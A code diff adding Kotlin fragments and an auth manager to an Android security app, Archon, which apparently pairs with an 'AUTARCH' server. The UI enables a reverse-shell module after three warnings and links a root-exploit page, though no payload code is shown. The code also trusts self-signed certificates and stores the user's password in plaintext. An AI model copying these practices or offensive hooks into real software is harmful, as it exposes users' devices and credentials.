|
||||||
|
}
|
||||||
|
|
||||||
|
private fun runModuleAction(moduleId: String, actionId: String, label: String) {
|
||||||
|
appendLog("Running: $label...")
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
val result = ModuleManager.executeAction(moduleId, actionId, requireContext())
|
||||||
|
|
||||||
|
handler.post {
|
||||||
|
appendLog("$label: ${result.output}")
|
||||||
|
for (detail in result.details.take(20)) {
|
||||||
|
appendLog(" $detail")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Update module status after action
|
||||||
|
when (moduleId) {
|
||||||
|
"shield" -> shieldStatusText.text = "Last: ${result.output}"
|
||||||
|
"honeypot" -> honeypotStatusText.text = "Status: ${result.output}"
|
||||||
|
"revshell" -> revshellStatusText.text = "Status: ${result.output}"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun setStatusDot(dot: View, online: Boolean) {
|
||||||
|
val drawable = GradientDrawable()
|
||||||
|
drawable.shape = GradientDrawable.OVAL
|
||||||
|
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||||
|
dot.background = drawable
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun appendLog(msg: String) {
|
||||||
|
val current = outputLog.text.toString()
|
||||||
|
val lines = current.split("\n").takeLast(30)
|
||||||
|
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Show reverse shell safety warnings one at a time.
|
||||||
|
* After all 3 are accepted, set the warning flag and run the enable action.
|
||||||
|
*/
|
||||||
|
private fun showRevshellWarnings(index: Int) {
|
||||||
|
val warnings = ReverseShellModule.WARNINGS
|
||||||
|
if (index >= warnings.size) {
|
||||||
|
// All warnings accepted — set the prefs flag and enable
|
||||||
|
val prefs = requireContext().getSharedPreferences("archon_revshell", Context.MODE_PRIVATE)
|
||||||
|
prefs.edit().putBoolean("revshell_warnings_accepted", true).apply()
|
||||||
|
appendLog("All warnings accepted")
|
||||||
|
runModuleAction("revshell", "enable", "Enable")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
AlertDialog.Builder(requireContext())
|
||||||
|
.setTitle("Warning ${index + 1} of ${warnings.size}")
|
||||||
|
.setMessage(warnings[index])
|
||||||
|
.setPositiveButton("I Understand") { _, _ ->
|
||||||
|
showRevshellWarnings(index + 1)
|
||||||
|
}
|
||||||
|
.setNegativeButton("Cancel") { _, _ ->
|
||||||
|
appendLog("Reverse shell enable cancelled at warning ${index + 1}")
|
||||||
|
}
|
||||||
|
.setCancelable(false)
|
||||||
|
.show()
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,231 @@
|
|||||||
|
package com.darkhal.archon.ui
|
||||||
|
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.Looper
|
||||||
|
import android.view.LayoutInflater
|
||||||
|
import android.view.View
|
||||||
|
import android.view.ViewGroup
|
||||||
|
import android.widget.TextView
|
||||||
|
import android.widget.Toast
|
||||||
|
import androidx.fragment.app.Fragment
|
||||||
|
import com.darkhal.archon.LoginActivity
|
||||||
|
import com.darkhal.archon.R
|
||||||
|
import com.darkhal.archon.service.DiscoveryManager
|
||||||
|
import com.darkhal.archon.util.AuthManager
|
||||||
|
import com.darkhal.archon.util.PrefsManager
|
||||||
|
import com.darkhal.archon.util.ShellExecutor
|
||||||
|
import com.darkhal.archon.util.SslHelper
|
||||||
|
import com.google.android.material.button.MaterialButton
|
||||||
|
import com.google.android.material.materialswitch.MaterialSwitch
|
||||||
|
import com.google.android.material.textfield.TextInputEditText
|
||||||
|
|
||||||
|
class SettingsFragment : Fragment() {
|
||||||
|
|
||||||
|
private lateinit var inputServerIp: TextInputEditText
|
||||||
|
private lateinit var inputWebPort: TextInputEditText
|
||||||
|
private lateinit var inputAdbPort: TextInputEditText
|
||||||
|
private lateinit var inputUsbipPort: TextInputEditText
|
||||||
|
private lateinit var switchAutoRestart: MaterialSwitch
|
||||||
|
private lateinit var statusText: TextView
|
||||||
|
|
||||||
|
private val handler = Handler(Looper.getMainLooper())
|
||||||
|
|
||||||
|
override fun onCreateView(
|
||||||
|
inflater: LayoutInflater,
|
||||||
|
container: ViewGroup?,
|
||||||
|
savedInstanceState: Bundle?
|
||||||
|
): View {
|
||||||
|
return inflater.inflate(R.layout.fragment_settings, container, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||||
|
super.onViewCreated(view, savedInstanceState)
|
||||||
|
|
||||||
|
inputServerIp = view.findViewById(R.id.input_server_ip)
|
||||||
|
inputWebPort = view.findViewById(R.id.input_web_port)
|
||||||
|
inputAdbPort = view.findViewById(R.id.input_adb_port)
|
||||||
|
inputUsbipPort = view.findViewById(R.id.input_usbip_port)
|
||||||
|
switchAutoRestart = view.findViewById(R.id.switch_settings_auto_restart)
|
||||||
|
statusText = view.findViewById(R.id.settings_status)
|
||||||
|
|
||||||
|
loadSettings()
|
||||||
|
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_save_settings).setOnClickListener {
|
||||||
|
saveSettings()
|
||||||
|
}
|
||||||
|
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_auto_detect).setOnClickListener {
|
||||||
|
autoDetectServer(it as MaterialButton)
|
||||||
|
}
|
||||||
|
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_test_connection).setOnClickListener {
|
||||||
|
testConnection()
|
||||||
|
}
|
||||||
|
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_logout).setOnClickListener {
|
||||||
|
AuthManager.logout(requireContext())
|
||||||
|
val intent = android.content.Intent(requireContext(), LoginActivity::class.java)
|
||||||
|
intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK
|
||||||
|
startActivity(intent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun loadSettings() {
|
||||||
|
val ctx = requireContext()
|
||||||
|
inputServerIp.setText(PrefsManager.getServerIp(ctx))
|
||||||
|
inputWebPort.setText(PrefsManager.getWebPort(ctx).toString())
|
||||||
|
inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString())
|
||||||
|
inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString())
|
||||||
|
switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun saveSettings() {
|
||||||
|
val ctx = requireContext()
|
||||||
|
|
||||||
|
val serverIp = inputServerIp.text.toString().trim()
|
||||||
|
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||||
|
val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555
|
||||||
|
val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240
|
||||||
|
|
||||||
|
if (serverIp.isEmpty()) {
|
||||||
|
statusText.text = "Error: Server IP cannot be empty"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate IP format (IPv4 or hostname)
|
||||||
|
if (!isValidIpOrHostname(serverIp)) {
|
||||||
|
statusText.text = "Error: Invalid IP address or hostname"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate port ranges
|
||||||
|
if (webPort < 1 || webPort > 65535) {
|
||||||
|
statusText.text = "Error: Web port must be 1-65535"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if (adbPort < 1 || adbPort > 65535) {
|
||||||
|
statusText.text = "Error: ADB port must be 1-65535"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
PrefsManager.setServerIp(ctx, serverIp)
|
||||||
|
PrefsManager.setWebPort(ctx, webPort)
|
||||||
|
PrefsManager.setAdbPort(ctx, adbPort)
|
||||||
|
PrefsManager.setUsbIpPort(ctx, usbipPort)
|
||||||
|
PrefsManager.setAutoRestartAdb(ctx, switchAutoRestart.isChecked)
|
||||||
|
|
||||||
|
statusText.text = "Settings saved"
|
||||||
|
Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun isValidIpOrHostname(input: String): Boolean {
|
||||||
|
// IPv4 pattern
|
||||||
|
val ipv4 = Regex("""^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$""")
|
||||||
|
val match = ipv4.matchEntire(input)
|
||||||
|
if (match != null) {
|
||||||
|
return match.groupValues.drop(1).all {
|
||||||
|
val n = it.toIntOrNull() ?: return false
|
||||||
|
n in 0..255
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Hostname pattern (alphanumeric, dots, hyphens)
|
||||||
|
val hostname = Regex("""^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$""")
|
||||||
|
return hostname.matches(input)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun autoDetectServer(btn: MaterialButton) {
|
||||||
|
statusText.text = "Scanning for AUTARCH server..."
|
||||||
|
btn.isEnabled = false
|
||||||
|
btn.text = "SCANNING..."
|
||||||
|
|
||||||
|
val discovery = DiscoveryManager(requireContext())
|
||||||
|
discovery.listener = object : DiscoveryManager.Listener {
|
||||||
|
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||||
|
discovery.stopDiscovery()
|
||||||
|
|
||||||
|
val method = when (server.method) {
|
||||||
|
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
|
||||||
|
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
|
||||||
|
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
|
||||||
|
}
|
||||||
|
|
||||||
|
if (server.ip.isNotEmpty()) {
|
||||||
|
inputServerIp.setText(server.ip)
|
||||||
|
}
|
||||||
|
if (server.port > 0) {
|
||||||
|
inputWebPort.setText(server.port.toString())
|
||||||
|
}
|
||||||
|
|
||||||
|
statusText.text = "Found ${server.hostname} via $method\nIP: ${server.ip} Port: ${server.port}"
|
||||||
|
btn.isEnabled = true
|
||||||
|
btn.text = "AUTO-DETECT SERVER"
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
|
||||||
|
|
||||||
|
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||||
|
if (discovery.getDiscoveredServers().isEmpty()) {
|
||||||
|
handler.post {
|
||||||
|
statusText.text = "No AUTARCH server found on network.\nCheck that the server is running and on the same network."
|
||||||
|
btn.isEnabled = true
|
||||||
|
btn.text = "AUTO-DETECT SERVER"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
|
||||||
|
}
|
||||||
|
discovery.startDiscovery()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun testConnection() {
|
||||||
|
val serverIp = inputServerIp.text.toString().trim()
|
||||||
|
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||||
|
|
||||||
|
if (serverIp.isEmpty()) {
|
||||||
|
statusText.text = "Error: Enter a server IP first"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isValidIpOrHostname(serverIp)) {
|
||||||
|
statusText.text = "Error: Invalid IP address"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
statusText.text = "Testing connection to $serverIp..."
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
// Ping test
|
||||||
|
val pingResult = ShellExecutor.execute("ping -c 1 -W 3 $serverIp")
|
||||||
|
val pingOk = pingResult.exitCode == 0
|
||||||
|
|
||||||
|
// HTTPS test — probe root endpoint
|
||||||
|
val httpOk = try {
|
||||||
|
val url = java.net.URL("https://$serverIp:$webPort/")
|
||||||
|
val conn = url.openConnection() as java.net.HttpURLConnection
|
||||||
|
SslHelper.trustSelfSigned(conn)
|
||||||
|
conn.connectTimeout = 5000
|
||||||
|
conn.readTimeout = 5000
|
||||||
|
conn.requestMethod = "GET"
|
||||||
|
val code = conn.responseCode
|
||||||
|
conn.disconnect()
|
||||||
|
code in 200..399
|
||||||
|
} catch (e: Exception) {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
handler.post {
|
||||||
|
val status = StringBuilder()
|
||||||
|
status.append("Ping: ${if (pingOk) "OK" else "FAILED"}\n")
|
||||||
|
status.append("HTTPS ($webPort): ${if (httpOk) "OK" else "FAILED"}")
|
||||||
|
if (!pingOk && !httpOk) {
|
||||||
|
status.append("\n\nServer unreachable. Check WireGuard tunnel and IP.")
|
||||||
|
} else if (pingOk && !httpOk) {
|
||||||
|
status.append("\n\nHost reachable but web UI not responding on port $webPort.")
|
||||||
|
}
|
||||||
|
statusText.text = status.toString()
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,293 @@
|
|||||||
|
package com.darkhal.archon.ui
|
||||||
|
|
||||||
|
import android.Manifest
|
||||||
|
import android.content.ClipData
|
||||||
|
import android.content.ClipboardManager
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.content.pm.PackageManager
|
||||||
|
import android.graphics.Color
|
||||||
|
import android.graphics.drawable.GradientDrawable
|
||||||
|
import android.net.Uri
|
||||||
|
import android.os.Build
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.Looper
|
||||||
|
import android.view.LayoutInflater
|
||||||
|
import android.view.View
|
||||||
|
import android.view.ViewGroup
|
||||||
|
import android.widget.TextView
|
||||||
|
import android.widget.Toast
|
||||||
|
import androidx.activity.result.contract.ActivityResultContracts
|
||||||
|
import androidx.core.content.ContextCompat
|
||||||
|
import androidx.fragment.app.Fragment
|
||||||
|
import com.darkhal.archon.R
|
||||||
|
import com.darkhal.archon.server.ArchonClient
|
||||||
|
import com.darkhal.archon.service.LocalAdbClient
|
||||||
|
import com.darkhal.archon.service.PairingReceiver
|
||||||
|
import com.darkhal.archon.util.PrefsManager
|
||||||
|
import com.darkhal.archon.util.PrivilegeManager
|
||||||
|
import com.darkhal.archon.util.ShellExecutor
|
||||||
|
import com.google.android.material.button.MaterialButton
|
||||||
|
|
||||||
|
class SetupFragment : Fragment() {
|
||||||
|
|
||||||
|
private lateinit var privilegeStatusDot: View
|
||||||
|
private lateinit var privilegeStatusText: TextView
|
||||||
|
private lateinit var btnStartPairing: MaterialButton
|
||||||
|
private lateinit var localAdbStatus: TextView
|
||||||
|
private lateinit var archonServerStatusDot: View
|
||||||
|
private lateinit var archonServerStatus: TextView
|
||||||
|
private lateinit var btnStartArchonServer: MaterialButton
|
||||||
|
private lateinit var btnStopArchonServer: MaterialButton
|
||||||
|
private lateinit var btnShowCommand: MaterialButton
|
||||||
|
private lateinit var serverAdbStatus: TextView
|
||||||
|
private lateinit var btnBootstrapUsb: MaterialButton
|
||||||
|
private lateinit var rootStatus: TextView
|
||||||
|
private lateinit var btnCheckRoot: MaterialButton
|
||||||
|
private lateinit var btnRootExploit: MaterialButton
|
||||||
|
private lateinit var outputLog: TextView
|
||||||
|
|
||||||
|
private val handler = Handler(Looper.getMainLooper())
|
||||||
|
|
||||||
|
// Notification permission request (Android 13+)
|
||||||
|
private val notificationPermissionLauncher = registerForActivityResult(
|
||||||
|
ActivityResultContracts.RequestPermission()
|
||||||
|
) { granted ->
|
||||||
|
if (granted) {
|
||||||
|
startPairingNotification()
|
||||||
|
} else {
|
||||||
|
appendLog("Notification permission denied — cannot show pairing notification")
|
||||||
|
appendLog("Grant notification permission in app settings")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onCreateView(
|
||||||
|
inflater: LayoutInflater,
|
||||||
|
container: ViewGroup?,
|
||||||
|
savedInstanceState: Bundle?
|
||||||
|
): View {
|
||||||
|
return inflater.inflate(R.layout.fragment_setup, container, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||||
|
super.onViewCreated(view, savedInstanceState)
|
||||||
|
|
||||||
|
// Bind views
|
||||||
|
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
|
||||||
|
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
|
||||||
|
btnStartPairing = view.findViewById(R.id.btn_start_pairing)
|
||||||
|
localAdbStatus = view.findViewById(R.id.local_adb_status)
|
||||||
|
archonServerStatusDot = view.findViewById(R.id.archon_server_status_dot)
|
||||||
|
archonServerStatus = view.findViewById(R.id.archon_server_status)
|
||||||
|
btnStartArchonServer = view.findViewById(R.id.btn_start_archon_server)
|
||||||
|
btnStopArchonServer = view.findViewById(R.id.btn_stop_archon_server)
|
||||||
|
btnShowCommand = view.findViewById(R.id.btn_show_command)
|
||||||
|
serverAdbStatus = view.findViewById(R.id.server_adb_status)
|
||||||
|
btnBootstrapUsb = view.findViewById(R.id.btn_bootstrap_usb)
|
||||||
|
rootStatus = view.findViewById(R.id.root_status)
|
||||||
|
btnCheckRoot = view.findViewById(R.id.btn_check_root)
|
||||||
|
btnRootExploit = view.findViewById(R.id.btn_root_exploit)
|
||||||
|
outputLog = view.findViewById(R.id.setup_output_log)
|
||||||
|
|
||||||
|
setupListeners()
|
||||||
|
initializeStatus()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun setupListeners() {
|
||||||
|
// ── Wireless Debugging (Shizuku-style notification) ──
|
||||||
|
btnStartPairing.setOnClickListener {
|
||||||
|
// Check notification permission for Android 13+
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||||
|
if (ContextCompat.checkSelfPermission(
|
||||||
|
requireContext(), Manifest.permission.POST_NOTIFICATIONS
|
||||||
|
) != PackageManager.PERMISSION_GRANTED
|
||||||
|
) {
|
||||||
|
notificationPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS)
|
||||||
|
return@setOnClickListener
|
||||||
|
}
|
||||||
|
}
|
||||||
|
startPairingNotification()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Archon Server ──
|
||||||
|
btnStartArchonServer.setOnClickListener {
|
||||||
|
btnStartArchonServer.isEnabled = false
|
||||||
|
appendLog("Starting Archon Server...")
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
val result = ArchonClient.startServer(requireContext())
|
||||||
|
handler.post {
|
||||||
|
btnStartArchonServer.isEnabled = true
|
||||||
|
appendLog(result.message)
|
||||||
|
updateArchonServerStatus()
|
||||||
|
if (result.success) {
|
||||||
|
PrivilegeManager.refreshMethod()
|
||||||
|
updatePrivilegeStatus()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
btnStopArchonServer.setOnClickListener {
|
||||||
|
appendLog("Stopping Archon Server...")
|
||||||
|
Thread {
|
||||||
|
val stopped = ArchonClient.stopServer(requireContext())
|
||||||
|
handler.post {
|
||||||
|
appendLog(if (stopped) "Server stopped" else "Failed to stop server")
|
||||||
|
updateArchonServerStatus()
|
||||||
|
PrivilegeManager.refreshMethod()
|
||||||
|
updatePrivilegeStatus()
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
btnShowCommand.setOnClickListener {
|
||||||
|
val cmd = ArchonClient.getBootstrapCommand(requireContext())
|
||||||
|
appendLog("ADB command to start Archon Server:")
|
||||||
|
appendLog("adb shell \"$cmd\"")
|
||||||
|
|
||||||
|
// Copy to clipboard
|
||||||
|
val clipboard = requireContext().getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
|
||||||
|
clipboard.setPrimaryClip(ClipData.newPlainText("Archon Bootstrap", "adb shell \"$cmd\""))
|
||||||
|
Toast.makeText(requireContext(), "Command copied to clipboard", Toast.LENGTH_SHORT).show()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── USB via AUTARCH ──
|
||||||
|
btnBootstrapUsb.setOnClickListener {
|
||||||
|
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||||
|
val serverPort = PrefsManager.getWebPort(requireContext())
|
||||||
|
|
||||||
|
if (serverIp.isEmpty()) {
|
||||||
|
appendLog("Server not configured — set IP in Settings tab or use SCAN on Dashboard")
|
||||||
|
return@setOnClickListener
|
||||||
|
}
|
||||||
|
|
||||||
|
btnBootstrapUsb.isEnabled = false
|
||||||
|
appendLog("Bootstrapping via AUTARCH USB ADB ($serverIp:$serverPort)...")
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
val result = ArchonClient.startServer(requireContext())
|
||||||
|
handler.post {
|
||||||
|
btnBootstrapUsb.isEnabled = true
|
||||||
|
appendLog(result.message)
|
||||||
|
if (result.success) {
|
||||||
|
updateArchonServerStatus()
|
||||||
|
PrivilegeManager.refreshMethod()
|
||||||
|
updatePrivilegeStatus()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Root ──
|
||||||
|
btnCheckRoot.setOnClickListener {
|
||||||
|
appendLog("Checking root access...")
|
||||||
|
Thread {
|
||||||
|
val hasRoot = ShellExecutor.isRootAvailable()
|
||||||
|
handler.post {
|
||||||
|
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
|
||||||
|
appendLog(if (hasRoot) "Root access available" else "Device is not rooted")
|
||||||
|
if (hasRoot) {
|
||||||
|
PrivilegeManager.refreshMethod()
|
||||||
|
updatePrivilegeStatus()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
btnRootExploit.setOnClickListener {
|
||||||
|
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||||
|
val serverPort = PrefsManager.getWebPort(requireContext())
|
||||||
|
if (serverIp.isEmpty()) {
|
||||||
|
appendLog("Server not configured — set IP in Settings tab")
|
||||||
|
return@setOnClickListener
|
||||||
|
}
|
||||||
|
val url = "https://$serverIp:$serverPort/android-exploit"
|
||||||
|
try {
|
||||||
|
startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(url)))
|
||||||
|
appendLog("Opened exploit page in browser")
|
||||||
|
} catch (e: Exception) {
|
||||||
|
appendLog("Could not open browser: ${e.message}")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun startPairingNotification() {
|
||||||
|
appendLog("Showing pairing notification...")
|
||||||
|
appendLog("Now open Developer Options > Wireless Debugging > Pair with code")
|
||||||
|
appendLog("Enter the 6-digit code in the notification")
|
||||||
|
PairingReceiver.showPairingNotification(requireContext())
|
||||||
|
localAdbStatus.text = "Status: waiting for pairing code in notification..."
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun initializeStatus() {
|
||||||
|
appendLog("Checking available privilege methods...")
|
||||||
|
|
||||||
|
val ctx = requireContext()
|
||||||
|
PrivilegeManager.init(
|
||||||
|
ctx,
|
||||||
|
PrefsManager.getServerIp(ctx),
|
||||||
|
PrefsManager.getWebPort(ctx)
|
||||||
|
)
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
val hasRoot = ShellExecutor.isRootAvailable()
|
||||||
|
val method = PrivilegeManager.refreshMethod()
|
||||||
|
|
||||||
|
handler.post {
|
||||||
|
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
|
||||||
|
localAdbStatus.text = "Status: ${LocalAdbClient.getStatusString(requireContext())}"
|
||||||
|
|
||||||
|
val serverIp = PrefsManager.getServerIp(ctx)
|
||||||
|
serverAdbStatus.text = if (serverIp.isNotEmpty()) {
|
||||||
|
"Server: $serverIp:${PrefsManager.getWebPort(ctx)}"
|
||||||
|
} else {
|
||||||
|
"Server: not configured — set IP in Settings or SCAN on Dashboard"
|
||||||
|
}
|
||||||
|
|
||||||
|
updateArchonServerStatus()
|
||||||
|
updatePrivilegeStatus()
|
||||||
|
appendLog("Best method: ${method.label}")
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun updatePrivilegeStatus() {
|
||||||
|
val method = PrivilegeManager.getAvailableMethod()
|
||||||
|
val isReady = method != PrivilegeManager.Method.NONE
|
||||||
|
|
||||||
|
setStatusDot(privilegeStatusDot, isReady)
|
||||||
|
privilegeStatusText.text = "Privilege: ${method.label}"
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun updateArchonServerStatus() {
|
||||||
|
Thread {
|
||||||
|
val running = ArchonClient.isServerRunning(requireContext())
|
||||||
|
val info = if (running) ArchonClient.getServerInfo(requireContext()) else null
|
||||||
|
|
||||||
|
handler.post {
|
||||||
|
setStatusDot(archonServerStatusDot, running)
|
||||||
|
archonServerStatus.text = if (running) {
|
||||||
|
"Status: Running ($info)"
|
||||||
|
} else {
|
||||||
|
"Status: Not running"
|
||||||
|
}
|
||||||
|
btnStopArchonServer.isEnabled = running
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun setStatusDot(dot: View, online: Boolean) {
|
||||||
|
val drawable = GradientDrawable()
|
||||||
|
drawable.shape = GradientDrawable.OVAL
|
||||||
|
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||||
|
dot.background = drawable
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun appendLog(msg: String) {
|
||||||
|
val current = outputLog.text.toString()
|
||||||
|
val lines = current.split("\n").takeLast(25)
|
||||||
|
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,209 @@
|
|||||||
|
package com.darkhal.archon.util
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.util.Log
|
||||||
|
import java.net.CookieManager
|
||||||
|
import java.net.CookiePolicy
|
||||||
|
import java.net.HttpURLConnection
|
||||||
|
import java.net.URL
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Manages authentication with the AUTARCH web server.
|
||||||
|
*
|
||||||
|
* Handles login via JSON API, cookie storage, and attaching
|
||||||
|
* the session cookie to all outbound HTTP requests.
|
||||||
|
*/
|
||||||
|
object AuthManager {
|
||||||
|
|
||||||
|
private const val TAG = "AuthManager"
|
||||||
|
private const val PREFS_NAME = "archon_auth"
|
||||||
|
private const val KEY_USERNAME = "username"
|
||||||
|
private const val KEY_PASSWORD = "password"
|
||||||
|
private const val KEY_SESSION_COOKIE = "session_cookie"
|
||||||
|
private const val KEY_LOGGED_IN = "logged_in"
|
||||||
|
|
||||||
|
@Volatile
|
||||||
|
private var sessionCookie: String? = null
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Log in to the AUTARCH web server.
|
||||||
|
* Returns true on success. Stores the session cookie.
|
||||||
|
*/
|
||||||
|
fun login(context: Context, username: String, password: String): LoginResult {
|
||||||
|
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
|
||||||
|
if (baseUrl.contains("://:" ) || baseUrl.endsWith("://")) {
|
||||||
|
return LoginResult(false, "No server IP configured")
|
||||||
|
}
|
||||||
|
|
||||||
|
return try {
|
||||||
|
val url = URL("$baseUrl/api/login")
|
||||||
|
val conn = url.openConnection() as HttpURLConnection
|
||||||
|
SslHelper.trustSelfSigned(conn)
|
||||||
|
conn.connectTimeout = 5000
|
||||||
|
conn.readTimeout = 10000
|
||||||
|
conn.requestMethod = "POST"
|
||||||
|
conn.setRequestProperty("Content-Type", "application/json")
|
||||||
|
conn.doOutput = true
|
||||||
|
|
||||||
|
val payload = """{"username":"${escapeJson(username)}","password":"${escapeJson(password)}"}"""
|
||||||
|
conn.outputStream.write(payload.toByteArray())
|
||||||
|
|
||||||
|
val code = conn.responseCode
|
||||||
|
val body = if (code in 200..299) {
|
||||||
|
conn.inputStream.bufferedReader().readText()
|
||||||
|
} else {
|
||||||
|
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extract Set-Cookie header
|
||||||
|
val cookie = conn.getHeaderField("Set-Cookie")
|
||||||
|
conn.disconnect()
|
||||||
|
|
||||||
|
if (code == 200 && body.contains("\"ok\":true")) {
|
||||||
|
// Store credentials and cookie
|
||||||
|
sessionCookie = cookie
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
prefs.edit()
|
||||||
|
.putString(KEY_USERNAME, username)
|
||||||
|
.putString(KEY_PASSWORD, password)
|
||||||
|
.putString(KEY_SESSION_COOKIE, cookie ?: "")
|
||||||
|
.putBoolean(KEY_LOGGED_IN, true)
|
||||||
|
.apply()
|
||||||
|
|
||||||
|
Log.i(TAG, "Login successful for $username")
|
||||||
|
LoginResult(true, "Logged in as $username")
|
||||||
|
} else {
|
||||||
|
Log.w(TAG, "Login failed: HTTP $code - $body")
|
||||||
|
LoginResult(false, "Invalid credentials")
|
||||||
|
}
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Login error", e)
|
||||||
|
LoginResult(false, "Connection error: ${e.message}")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if we have stored credentials and a valid session.
|
||||||
|
*/
|
||||||
|
fun isLoggedIn(context: Context): Boolean {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
return prefs.getBoolean(KEY_LOGGED_IN, false) &&
|
||||||
|
prefs.getString(KEY_USERNAME, null) != null
|
||||||
|
}
|
||||||
|
|
||||||
